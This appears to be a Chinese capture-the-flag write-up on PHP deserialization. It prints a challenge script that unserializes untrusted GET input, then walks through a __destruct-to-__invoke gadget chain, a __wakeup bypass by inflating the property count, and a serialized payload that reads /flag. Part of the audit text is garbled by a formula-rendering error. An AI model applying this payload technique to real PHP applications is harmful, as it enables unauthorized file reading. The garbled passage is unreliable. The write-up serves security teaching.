魔术方法的触发在php反序列化中的应用

源码:

<?php
show_source(__FILE__);

class CDUTSEC1{
    public $file;
    public $function;

    function __construct($file, $function)
    {
        $this->file = $file;
        $this->function = $function;
    }
    function __wakeup()     // Hint:听说你们喜欢绕__wakeup,但是我可听说官方在php7.0.10之后修复了这个bug
    {
        $this->file = __FILE__;
        $this->function = 'phpversion';
    }
    function __invoke()
    {
        return file_get_contents($this->file);
    }
    function __toString()
    {
        return file_get_contents($this->file);
    }
    function __get($function)
    {
        return $this->function;
    }
    function __call($a, $b){
        return $this->function;
    }
}

class CDUTSEC2{
    public $function = 'phpversion';

    function __destruct()
    {
        echo ($this->function)();   //
    }
}

@unserialize($_GET['payload']);

代码审计:
能拿flag的方式只有CDUTSEC1中__invoke和__toString两个魔术方法,触发能够执行file_get_contents($this->file)。所以只要CDUTSEC1类的file值为’/flag’(当然可能不在当前目录,视题而定)就能拿到flag了。
两个魔术方法的触发条件:
__invoke:当尝试以调用函数的方式调用一个对象时触发
__toString:一个类被当做字符串时触发。用于一个类被当成字符串时应怎样回应。例如 echo KaTeX parse error: Expected group after '_' at position 37: …字符串,否则会产生错误。 所以_̲_toSring无法触发。审计…function的值再次序列化即可。
但CDUTSEC1中在触发__invoke之前因为反序列化__weakup先触发并把我们传入的$file覆盖,因此我们需要绕过__weakup。利用的漏洞也很简单,只需要把序列化字符串表示类成员数量的数字改大(大于实际数)即可绕过。本例中,改CDUTSEC2与嵌套的CDUTSEC1都可以。
解题:

<?php

class CDUTSEC1{
    public $file;
    public $function;
}

class CDUTSEC2{
    public $function = 'phpversion';
}

$tr = new CDUTSEC1();
$tr->file = '/flag';          
$sr = new CDUTSEC2();
$sr->function = $tr;
echo serialize($sr);

运行代码得到:O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":2:{s:4:"file";s:5:"/flag";s:8:"function";N;}},这里我们该大类成员数:O:8:"CDUTSEC2":1:{s:8:"function";O:8:"CDUTSEC1":3:{s:4:"file";s:5:"/flag";s:8:"function";N;}}即可。
测试payload:
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值